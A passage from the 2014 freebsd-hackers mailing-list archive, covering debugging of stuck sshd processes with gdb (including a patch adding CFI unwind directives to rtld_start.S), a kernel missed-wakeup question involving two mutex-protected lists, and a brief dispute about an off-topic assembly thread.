(lock=0x80085fe00, lockstate=0x7fffffffba68) at /usr/src/libexec/rtld-elf/rtld_lock.c:197 #4 0x00000008006498c9 in _rtld_bind (obj=0x800662000, reloff=13008) at /usr/src/libexec/rtld-elf/rtld.c:675 #5 0x00000008006470cd in _rtld_bind_start () at /usr/src/libexec/rtld-elf/amd64/rtld_start.S:99 #6 0x0000000000000246 in ?? () #7 0x0000000000000000 in ?? () " -Karl From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 16:14:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4FB972C9 for ; Tue, 8 Apr 2014 16:14:37 +0000 (UTC) Received: from avasout01.plus.net (avasout01.plus.net [84.93.230.227]) by mx1.freebsd.org (Postfix) with ESMTP id E19D113A5 for ; Tue, 8 Apr 2014 16:14:36 +0000 (UTC) Received: from a740.localnet ([31.185.164.150]) by avasout01 with smtp id nUBR1n00B3F0pMb01UBT2D; Tue, 08 Apr 2014 17:11:27 +0100 X-CM-Score: 0.00 X-CNFS-Analysis: v=2.1 cv=JLW1sq6b c=1 sm=1 tr=0 a=iNp48GsnYCReZ+F9o0aPnw==:117 a=iNp48GsnYCReZ+F9o0aPnw==:17 a=0Bzu9jTXAAAA:8 a=h_mV1nxh2ZUA:10 a=NLIoUfgsTJUA:10 a=KdljGRtMWWsA:10 a=8nJEP1OIZ-IA:10 a=7vtFykjVAAAA:8 a=sX703NtqvJuX1WKMtrUA:9 a=wPNLvfGTeEIA:10 From: Frank Mitchell To: freebsd-hackers@freebsd.org Subject: Re: Assembly continues to be used in the development of FreeBSD? Date: Tue, 8 Apr 2014 17:11:33 +0100 User-Agent: KMail/1.13.7 (Linux/3.2.0-4-amd64; KDE/4.8.4; x86_64; ; ) References: <14679.1396898970@critter.freebsd.dk> In-Reply-To: <14679.1396898970@critter.freebsd.dk> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201404081711.34003.mitchell@wyatt672earp.force9.co.uk> X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 16:14:37 -0000 Why are people moaning just because the guy wants to discuss Assembly? He's not doing any harm. Some of us are interested, even if we don't want to get into Assembly personally. On Monday 07 Apr 2014 20:29:30 Poul-Henning Kamp wrote: > In message , Jorge Luis > Carvalho Santos writes: > >According to the book "Complete and Total C" by Herbert Schildt, > >the general rule is not to use Assembly because it creates too many > >problems. > > Don't feed the troll. From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 16:20:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8D72540D for ; Tue, 8 Apr 2014 16:20:11 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 633FA13D9 for ; Tue, 8 Apr 2014 16:20:11 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 3603CB946; Tue, 8 Apr 2014 12:20:07 -0400 (EDT) From: John Baldwin To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Date: Tue, 8 Apr 2014 12:19:51 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404080936.30651.jhb@freebsd.org> <63EFBCBD259A410BB4D71742@Mail-PC.tdx.co.uk> In-Reply-To: <63EFBCBD259A410BB4D71742@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201404081219.51276.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Tue, 08 Apr 2014 12:20:07 -0400 (EDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 16:20:11 -0000 On Tuesday, April 08, 2014 11:33:03 am Karl Pielorz wrote: > > --On 08 April 2014 09:36 -0400 John Baldwin wrote: > > > Humm, it needs to build new ones with debug symbols. If it doesn't, > > you'll need to do 'make clean' before the other makes. I think you > > should be fine to do that (make clean then the command above) for those > > directories and restart gdb without having to restart your sshd. Please > > also add '/usr/src/libexec/rtld-elf' to the list of directories where you > > do this. Then do 'detach' in gdb, exit gdb and restart it. > > Ok, it hit an issue with libc (complained it couldn't find yp.h - but I > fixed that) and it compiled up OK then. The rest all recompiled / installed > OK, and I included the rtld-elf code. > > > Hmmm, that is useful even though the debug symbols aren't there. Please > > do the rebuilds I asked for above and re-attach gdb and get 'bt' again. > > Ok, that now nets: > > " > ... > [Switching to LWP 100218] > 0x00000008038ea89c in __error () from /lib/libthr.so.3 > (gdb) bt > #0 0x00000008038ea89c in __error () from /lib/libthr.so.3 > #1 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=0x803af9480, > flags=, tsp=) > at /usr/src/lib/libthr/thread/thr_umtx.c:277 > #2 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=0x803af9480) at > atomic.h:143 > #3 0x000000080064f9a2 in rlock_acquire (lock=0x80085fe00, > lockstate=0x7fffffffba68) at /usr/src/libexec/rtld-elf/rtld_lock.c:197 > #4 0x00000008006498c9 in _rtld_bind (obj=0x800662000, reloff=13008) at > /usr/src/libexec/rtld-elf/rtld.c:675 > #5 0x00000008006470cd in _rtld_bind_start () at > /usr/src/libexec/rtld-elf/amd64/rtld_start.S:99 > #6 0x0000000000000246 in ?? () > #7 0x0000000000000000 in ?? () > " Can you do 'frame 3' and ' p *lock' as well as 'frame 1' and 'p *rwlock'? -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 16:30:13 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6DFE3799 for ; Tue, 8 Apr 2014 16:30:13 +0000 (UTC) Received: from mho-02-ewr.mailhop.org (mho-02-ewr.mailhop.org [204.13.248.72]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 40DC91527 for ; Tue, 8 Apr 2014 16:30:13 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-02-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1WXYua-00072g-4d; Tue, 08 Apr 2014 16:30:12 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s38GU9iI092871; Tue, 8 Apr 2014 10:30:09 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX18sSeoBAO1hL0Hex32thXUs Subject: Re: Assembly continues to be used in the development of FreeBSD? From: Ian Lepore To: Frank Mitchell In-Reply-To: <201404081711.34003.mitchell@wyatt672earp.force9.co.uk> References: <14679.1396898970@critter.freebsd.dk> <201404081711.34003.mitchell@wyatt672earp.force9.co.uk> Content-Type: text/plain; charset="us-ascii" Date: Tue, 08 Apr 2014 10:30:09 -0600 Message-ID: <1396974609.81853.443.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 16:30:13 -0000 1) It's off-topic for this list. 2) The person has an ever-growing history of trolling this list (and probably just needs to be banned at this point). Not the usual "trying to make flames" kind of trolling, the more insidious "act just barely reasonable enough to get lots of people to waste lots of time" kind of trolling. If you want to discuss vague generalities around the issue of assembler language programming, I'm sure you can find an appropriate forum to do so that doesn't also spam people trying to get freebsd work done. -- Ian On Tue, 2014-04-08 at 17:11 +0100, Frank Mitchell wrote: > Why are people moaning just because the guy wants to discuss Assembly? He's > not doing any harm. Some of us are interested, even if we don't want to get > into Assembly personally. > > On Monday 07 Apr 2014 20:29:30 Poul-Henning Kamp wrote: > > In message , Jorge Luis > > Carvalho Santos writes: > > > >According to the book "Complete and Total C" by Herbert Schildt, > > >the general rule is not to use Assembly because it creates too many > > >problems. > > > > Don't feed the troll. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 16:38:24 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6309CA2D for ; Tue, 8 Apr 2014 16:38:24 +0000 (UTC) Received: from mail-ee0-x230.google.com (mail-ee0-x230.google.com [IPv6:2a00:1450:4013:c00::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id EB1101608 for ; Tue, 8 Apr 2014 16:38:23 +0000 (UTC) Received: by mail-ee0-f48.google.com with SMTP id b57so887284eek.7 for ; Tue, 08 Apr 2014 09:38:22 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=Ey011hqycGAA0W3hxCrdJVvRGZhN1FjZ93TjlEN3xqU=; b=YSsqtEmrDPZSBf/fXo/sfB8kpVaiFLbzFEFpebsURoTumBsHgeA0QUmoUrwX12tkV4 +UobM/tV83l51VKd+eijifXdV7Gim8tO9XHVnO6AFlceYflD0ybxwO2eUI9Ii0V7vU5b uND9xWmMt5OUZjvw7nD0rD3nkholKU1w3jI18O+/N6Z80Imf95nLPyNKXoLLsKlMZAG1 htRBHyyidqhNzzUpDgStNy4m6zNkokKdMD2c6esxOn2RscR/UcudyAYM+6A4Gn8eTkSE GPc+vPy6ZuDQ+3S2l78lP6y1fLtNbkJcO+yaNCqC/JVKPSJS9ZnmS+RejhR1v/h3yrV/ n5EQ== X-Received: by 10.14.6.195 with SMTP id 43mr1820061een.101.1396975102274; Tue, 08 Apr 2014 09:38:22 -0700 (PDT) Received: from strashydlo.home (adbf56.neoplus.adsl.tpnet.pl. [79.184.5.56]) by mx.google.com with ESMTPSA id u1sm5588792eex.31.2014.04.08.09.38.21 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 08 Apr 2014 09:38:21 -0700 (PDT) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Subject: Re: Multiple locks and missing wakeup. Mime-Version: 1.0 (Apple Message framework v1283) Content-Type: text/plain; charset=iso-8859-2 From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= In-Reply-To: <20140408085156.GR21331@kib.kiev.ua> Date: Tue, 8 Apr 2014 18:38:19 +0200 Content-Transfer-Encoding: quoted-printable Message-Id: References: <0D69A6A8-43D1-41FB-8C2D-00F5CAD9C86E@FreeBSD.org> <20140408085156.GR21331@kib.kiev.ua> To: Konstantin Belousov X-Mailer: Apple Mail (2.1283) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 16:38:24 -0000 Wiadomo=B6=E6 napisana przez Konstantin Belousov w dniu 8 kwi 2014, o = godz. 10:51: > On Tue, Apr 08, 2014 at 08:34:30AM +0200, Edward Tomasz Napiera?a = wrote: >> Let's say I have a kernel thread processing elements from a queue, >> sleeping until there is work to do; something like this: >>=20 >> mtx_lock(&mtx1); >> for (;;) { >> while (!LIST_EMPTY(&list1)) { >> elt =3D LIST_FIRST(&list1); >> do_stuff(elt); >> LIST_REMOVE(&list1, elt); >> } >> sleep(&list1, &mtx1); >> } >> mtx_unlock(&mtx1); >>=20 >> Now, is there some way to make it work with two lists, protected >> by different mutexes? The mutex part is crucial here; the whole >> point of this is to reduce lock contention on one of the lists. The >> following code would result in a missing wakeup: >>=20 >> mtx_lock(&mtx1); >> for (;;) { >> while (!LIST_EMPTY(&list1)) { >> elt =3D LIST_FIRST(&list1); >> do_stuff(elt); >> LIST_REMOVE(&list1, elt); >> } > mtx_unlock(&mtx1);, right ? Yes. Well, there is no exit condition in that loop, but anyway. >> mtx_lock(&mtx2); >> while (!LIST_EMPTY(&list2)) { >> elt =3D LIST_FIRST(&list2); >> do_other_stuff(elt); >> LIST_REMOVE(&list2, elt); >> } >> mtx_unlock(&mtx2); >>=20 >> sleep(&list1, &mtx1); >> } >> mtx_unlock(&mtx1); >=20 > You should clarify your intent. Do you need to sleep waiting for the = work > items to appear for list2 ? What wakeup do you miss in the = pseudo-code > you posted ? Yes, I need to sleep waiting for a new element on either of the lists. = The missing wakeup is in the second list - it's possible that the element = will be added (under mtx2 lock) and the wakeup called after the = LIST_EMPTY(&list2) returns true, but before calling sleep(). > If you do need the notification for the list2, use &list1 as the = wakeup > channel for it. Sure, but it still doesn't fix the problem above. From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 16:43:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CA8B2BA3; Tue, 8 Apr 2014 16:43:58 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6887A16A1; Tue, 8 Apr 2014 16:43:58 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s38Ghr9V016934; Tue, 8 Apr 2014 19:43:53 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s38Ghr9V016934 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s38GhrOL016933; Tue, 8 Apr 2014 19:43:53 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Tue, 8 Apr 2014 19:43:53 +0300 From: Konstantin Belousov To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <20140408164353.GB21331@kib.kiev.ua> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404071148.10157.jhb@freebsd.org> <9647C5438B5CD4A3058AB1A2@Mail-PC.tdx.co.uk> <201404080936.30651.jhb@freebsd.org> <63EFBCBD259A410BB4D71742@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="XqFDY9bHNWRmuMQr" Content-Disposition: inline In-Reply-To: <63EFBCBD259A410BB4D71742@Mail-PC.tdx.co.uk> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 16:43:58 -0000 --XqFDY9bHNWRmuMQr Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Apr 08, 2014 at 04:33:03PM +0100, Karl Pielorz wrote: >=20 >=20 > --On 08 April 2014 09:36 -0400 John Baldwin wrote: >=20 > > Humm, it needs to build new ones with debug symbols. If it doesn't, > > you'll need to do 'make clean' before the other makes. I think you > > should be fine to do that (make clean then the command above) for those > > directories and restart gdb without having to restart your sshd. Please > > also add '/usr/src/libexec/rtld-elf' to the list of directories where y= ou > > do this. Then do 'detach' in gdb, exit gdb and restart it. >=20 > Ok, it hit an issue with libc (complained it couldn't find yp.h - but I= =20 > fixed that) and it compiled up OK then. The rest all recompiled / install= ed=20 > OK, and I included the rtld-elf code. >=20 > > Hmmm, that is useful even though the debug symbols aren't there. Please > > do the rebuilds I asked for above and re-attach gdb and get 'bt' again. >=20 > Ok, that now nets: >=20 > " > ... > [Switching to LWP 100218] > 0x00000008038ea89c in __error () from /lib/libthr.so.3 > (gdb) bt > #0 0x00000008038ea89c in __error () from /lib/libthr.so.3 > #1 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=3D0x803af9480,=20 > flags=3D, tsp=3D) > at /usr/src/lib/libthr/thread/thr_umtx.c:277 > #2 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=3D0x803af9480) at= =20 > atomic.h:143 > #3 0x000000080064f9a2 in rlock_acquire (lock=3D0x80085fe00,=20 > lockstate=3D0x7fffffffba68) at /usr/src/libexec/rtld-elf/rtld_lock.c:197 > #4 0x00000008006498c9 in _rtld_bind (obj=3D0x800662000, reloff=3D13008) = at=20 > /usr/src/libexec/rtld-elf/rtld.c:675 > #5 0x00000008006470cd in _rtld_bind_start () at=20 > /usr/src/libexec/rtld-elf/amd64/rtld_start.S:99 > #6 0x0000000000000246 in ?? () > #7 0x0000000000000000 in ?? () > " The following patch might allow to see the backtrace beyond the binder entry point. You might also have better luck with the gdb from ports. diff --git a/libexec/rtld-elf/amd64/rtld_start.S b/libexec/rtld-elf/amd64/r= tld_start.S index da3d156..54ef468 100644 --- a/libexec/rtld-elf/amd64/rtld_start.S +++ b/libexec/rtld-elf/amd64/rtld_start.S @@ -79,17 +79,39 @@ .globl _rtld_bind_start .type _rtld_bind_start,@function _rtld_bind_start: + .cfi_startproc + .cfi_adjust_cfa_offset 16 subq $8,%rsp + .cfi_adjust_cfa_offset 8 pushfq # Save rflags + .cfi_adjust_cfa_offset 8 pushq %rax # Save %rax + .cfi_adjust_cfa_offset 8 + .cfi_offset %rax,-24 pushq %rdx # Save %rdx + .cfi_adjust_cfa_offset 8 + .cfi_offset %rdx,-32 pushq %rcx # Save %rcx + .cfi_adjust_cfa_offset 8 + .cfi_offset %rcx,-40 pushq %rsi # Save %rsi + .cfi_adjust_cfa_offset 8 + .cfi_offset %rsi,-48 pushq %rdi # Save %rdi + .cfi_adjust_cfa_offset 8 + .cfi_offset %rdi,-56 pushq %r8 # Save %r8 + .cfi_adjust_cfa_offset 8 + .cfi_offset %r8,-64 pushq %r9 # Save %r9 + .cfi_adjust_cfa_offset 8 + .cfi_offset %r9,-72 pushq %r10 # Save %r10 + .cfi_adjust_cfa_offset 8 + .cfi_offset %r10,-80 pushq %r11 # Save %r11 + .cfi_adjust_cfa_offset 8 + .cfi_offset %r11,-88 =20 movq 0x58(%rsp),%rdi # Fetch obj argument movq 0x60(%rsp),%rsi # Fetch reloff argument @@ -101,16 +123,37 @@ _rtld_bind_start: =20 movq %rax,0x60(%rsp) # Store target over reloff argument popq %r11 # Restore %r11 + .cfi_adjust_cfa_offset -8 + .cfi_restore %r11 popq %r10 # Restore %r10 + .cfi_adjust_cfa_offset -8 + .cfi_restore %r10 popq %r9 # Restore %r9 + .cfi_adjust_cfa_offset -8 + .cfi_restore %r9 popq %r8 # Restore %r8 + .cfi_adjust_cfa_offset -8 + .cfi_restore %r8 popq %rdi # Restore %rdi + .cfi_adjust_cfa_offset -8 + .cfi_restore %rdi popq %rsi # Restore %rsi + .cfi_adjust_cfa_offset -8 + .cfi_restore %rsi popq %rcx # Restore %rcx + .cfi_adjust_cfa_offset -8 + .cfi_restore %rcx popq %rdx # Restore %rdx + .cfi_adjust_cfa_offset -8 + .cfi_restore %rdx popq %rax # Restore %rax + .cfi_adjust_cfa_offset -8 + .cfi_restore %rax popfq # Restore rflags + .cfi_adjust_cfa_offset -8 leaq 16(%rsp),%rsp # Discard spare, obj, do not change rflags ret # "Return" to target address + .cfi_endproc + .size _rtld_bind_start, . - _rtld_bind_start =20 .section .note.GNU-stack,"",%progbits --XqFDY9bHNWRmuMQr Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTRCdIAAoJEJDCuSvBvK1BpZoP/iGleVm0BPoTgjShOOtbe0EY kL5RjB7dxt2xP7G8Pajgh5uwt15lhgXSEYcCgMxZnNWVCQHkOdSRV/N45Prq52Xf XJ5ieVdGt88ftoET3VXdHibkZ1pP6X4rKszGaaBhyOjk6SIuxKIgUtCVfXeNH0r/ h5CmR6CgmhcFERWK34GfwrZQquITaAUJgoP9G0nv1pzOnn+ADQ3Cw2jSUS2KFoFa N/Dt5wcwelq0mEKv4ldnqd+5EhKhoqxt7k0r7+6op5z/m9vCMex060j7wHJ6TpBV a81s//OGy7vTXT7GxxCis8UNJJpcC1RKMrCYNL6CAGJqx8gmfKHBS5Kd8Jk00ky4 rcI71vznb8DaGspd8XahB2GKWpdW3SSdtLDDVKFcRTOk82smIjM+78oqwYM1dmsm jz0HkO0zsiZzLFoVRvEyd2+inGNPm7IxYMe2n+QPKvLOeieSxuYRoF7E7K8QJzzj GvXegO036p+wa+O/Eg1kMgchX8lkO7eYHbsvIG9B12JQZyb3U5MlVCsb2p2CtqUH bI7OOug/YkxAy0IK/JPDqLkloNMciKPoAUFgXpRLRnLFYgDIp3aABQIySWbWy4TB ZWOLQAwDcs3ftQ60g4aQkjHU5XmABAfXq/RrVmD/uS2LsW3MyQRY/c3hVoyGVGWA jzB+/2zm0NDLAMX91adm =8Rv4 -----END PGP SIGNATURE----- --XqFDY9bHNWRmuMQr-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 16:45:55 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0497FC97; Tue, 8 Apr 2014 16:45:55 +0000 (UTC) Received: from mail-ee0-x22a.google.com (mail-ee0-x22a.google.com [IPv6:2a00:1450:4013:c00::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4151D16B5; Tue, 8 Apr 2014 16:45:54 +0000 (UTC) Received: by mail-ee0-f42.google.com with SMTP id d17so909886eek.29 for ; Tue, 08 Apr 2014 09:45:52 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=OnH9PEizjo9Nktyvn9ssgc+3mv0Ju4yAEMT0egn0VV4=; b=fJ4xRe3tku97KNH4T2uwBAzs4VlLwEHTqr/Hg+ZZ0TOnhDaioIcQizOPbHvtdoO0sw 6F+PswoCcetR8hNYfROuhyIPeOo3syauHg16Jg6448vU8j+39Lui3KctAE40DUBMGqLL s2RCs2n7ZzJCP2EBUz9KXffNw01Qi+6f8ds3PD/3wPVn6NKQpMUaCYBtyBzVITjjHhqc fi8lha/UZMOh8GSb2J4M//eKCUuLz/xdlZ5kYIt6+iaXPLhpMPTO5Of3kaPuHXn4hfaE vnAGyiYt7q1+LwBS8vopFLMBw3LxsInArRchzs3jETJYm/NvHfYkD06PCY4vGR7vN+8J Pl8A== X-Received: by 10.14.109.201 with SMTP id s49mr3348162eeg.88.1396975552521; Tue, 08 Apr 2014 09:45:52 -0700 (PDT) Received: from strashydlo.home (adbf56.neoplus.adsl.tpnet.pl. [79.184.5.56]) by mx.google.com with ESMTPSA id l42sm5645764eew.19.2014.04.08.09.45.51 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 08 Apr 2014 09:45:51 -0700 (PDT) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Subject: Re: Multiple locks and missing wakeup. Mime-Version: 1.0 (Apple Message framework v1283) Content-Type: text/plain; charset=iso-8859-2 From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= In-Reply-To: <201404081001.31219.jhb@freebsd.org> Date: Tue, 8 Apr 2014 18:45:49 +0200 Content-Transfer-Encoding: quoted-printable Message-Id: References: <0D69A6A8-43D1-41FB-8C2D-00F5CAD9C86E@FreeBSD.org> <201404081001.31219.jhb@freebsd.org> To: John Baldwin X-Mailer: Apple Mail (2.1283) Cc: freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 16:45:55 -0000 Wiadomo=B6=E6 napisana przez John Baldwin w dniu 8 kwi 2014, o godz. = 16:01: > On Tuesday, April 08, 2014 2:34:30 am Edward Tomasz Napiera=B3a wrote: >> Let's say I have a kernel thread processing elements from a queue, >> sleeping until there is work to do; something like this: >>=20 >> mtx_lock(&mtx1); >> for (;;) { >> while (!LIST_EMPTY(&list1)) { >> elt =3D LIST_FIRST(&list1); >> do_stuff(elt); >> LIST_REMOVE(&list1, elt); >> } >> sleep(&list1, &mtx1); >> } >> mtx_unlock(&mtx1); >>=20 >> Now, is there some way to make it work with two lists, protected >> by different mutexes? The mutex part is crucial here; the whole >> point of this is to reduce lock contention on one of the lists. The >> following code would result in a missing wakeup: >=20 > All our sleep primitives in the kernel only accept a single wait = channel. > It sounds like you want something more like select() or poll() where = you > can specify multiple wait channels. There isn't a good way to do that > currently. You could write one, but it would be a bit hard to do > correctly. Perhaps I should have been more clear: I'm ok with a single wait channel. The problem is that there is no way to pass more than one mutex to the sleep() function, so we can miss wakeup for the list protected by the second lock, if something gets enqueued between releasing mtx2 and calling sleep(). > In practice you'd end up implementing something that boiled > down to having a single wait channel with a common lock that protected > it so you could do something like: The whole purpose of this is to avoid locking mtx1 in the the enqueue routine for the second list, for contention reasons. [..] > Another way to do this would be to be a bit more poll-like (e.g. if > you wanted a generic mechanism for this) where you have some sort of > 'poller' structure and you set a flag before starting a scan of all > your backends. Any wakeup that occurs while scanning clears the > flag, and you only sleep if the flag is still set at the end of the > scan, etc. But the flag would have to be protected by the mutex we pass to sleep(), and would require grabbing that mutex in both enqueue routines, right? From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 16:58:55 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9D0CC2CB; Tue, 8 Apr 2014 16:58:55 +0000 (UTC) Received: from mail-bk0-x236.google.com (mail-bk0-x236.google.com [IPv6:2a00:1450:4008:c01::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id F123917DD; Tue, 8 Apr 2014 16:58:54 +0000 (UTC) Received: by mail-bk0-f54.google.com with SMTP id 6so825205bkj.13 for ; Tue, 08 Apr 2014 09:58:53 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; 